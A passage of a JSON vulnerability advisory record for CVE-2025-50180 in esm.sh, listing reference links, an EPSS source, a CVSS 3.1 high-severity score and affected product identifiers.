"https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4545.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2025-50180.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-50180" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=10000" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=20000" }, { "category": "external", "summary": "Source - gitlab", "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fesm-dev%2Fesm.sh%2FCVE-2025-50180.yml/raw" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3c9r-837r-qqm4" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/esm-dev/esm.sh/pull/1149" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/esm-dev/esm.sh/releases/tag/v137" }, { "category": "external", "summary": "Reference - github; gitlab", "url": "https://github.com/advisories/GHSA-3c9r-837r-qqm4" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/50xxx/CVE-2025-50180.json" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50180" }, { "category": "external", "summary": "Reference - gitlab", "url": "https://github.com/esm-dev/esm.sh" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-3122903", "CSAFPID-5051501", "CSAFPID-5051502", "CSAFPID-5051503", "CSAFPID-5051504", "CSAFPID-5051505", "CSAFPID-5051506", "CSAFPID-5051507", "CSAFPID-5051508", "CSAFPID-5051509", "CSAFPID-5051510", "CSAFPID-5051511", "CSAFPID-5051512", "CSAFPID-5051513", "CSAFPID-5051514", "CSAFPID-5051515", "CSAFPID-5051516", "CSAFPID-5051517", "CSAFPID-5051518", "CSAFPID-5051519", "CSAFPID-5051520", "CSAFPID-5051521", "CSAFPID-5051522", "CSAFPID-5051523", "CSAFPID-5051524", "CSAFPID-5051525", "CSAFPID-5051526", "CSAFPID-5051527", "CSAFPID-5051528", "CSAFPID-5051529", "CSAFPID-5051530", "CSAFPID-5051531", "CSAFPID-5051532", "CSAFPID-5051533", "CSAFPID-5051534", "CSAFPID-5051535", "CSAFPID-5051536", "CSAFPID-5051537", "CSAFPID-5051538", "CSAFPID-5051539", "CSAFPID-5051540", "CSAFPID-5051541", "CSAFPID-5051542", "CSAFPID-5051543", "CSAFPID-5051544", "CSAFPID-5051545", "CSAFPID-5051546", "CSAFPID-5051547", "CSAFPID-5051548", "CSAFPID-5051549", "CSAFPID-5051550", "CSAFPID-5051551", "CSAFPID-5051552", "CSAFPID-5051553", "CSAFPID-5051554", "CSAFPID-5051555", "CSAFPID-5051556", "CSAFPID-5051557", "CSAFPID-5051558", "CSAFPID-5051559", "CSAFPID-5051560", "CSAFPID-5051561", "CSAFPID-5051562", "CSAFPID-5051563", "CSAFPID-5051564", "CSAFPID-5051565", "CSAFPID-5051566", "CSAFPID-5051567", "CSAFPID-5051568", "CSAFPID-5051569", "CSAFPID-5051570", "CSAFPID-5051571", "CSAFPID-5051572", "CSAFPID-5051573", "CSAFPID-5051574", "CSAFPID-5051575", "CSAFPID-5051576", "CSAFPID-5051577", "CSAFPID-5051578", "CSAFPID-5051579", "CSAFPID-5051580", "CSAFPID-5051581", "CSAFPID-5051582", "CSAFPID-5051583", "CSAFPID-5051584", "CSAFPID-5051585", "CSAFPID-5051586", "CSAFPID-5051587", "CSAFPID-5051588", "CSAFPID-5051589", "CSAFPID-5051590", "CSAFPID-5051591", "CSAFPID-5051592", "CSAFPID-5051593", "CSAFPID-5051594", "CSAFPID-5051595", "CSAFPID-5051596", "CSAFPID-5051597", "CSAFPID-5051598", "CSAFPID-5449463", "CSAFPID-5707716", "CSAFPID-5721710", "CSAFPID-5736016", "CSAFPID-5944636" ] } ], "title": "CVE-2025-50180" } ] }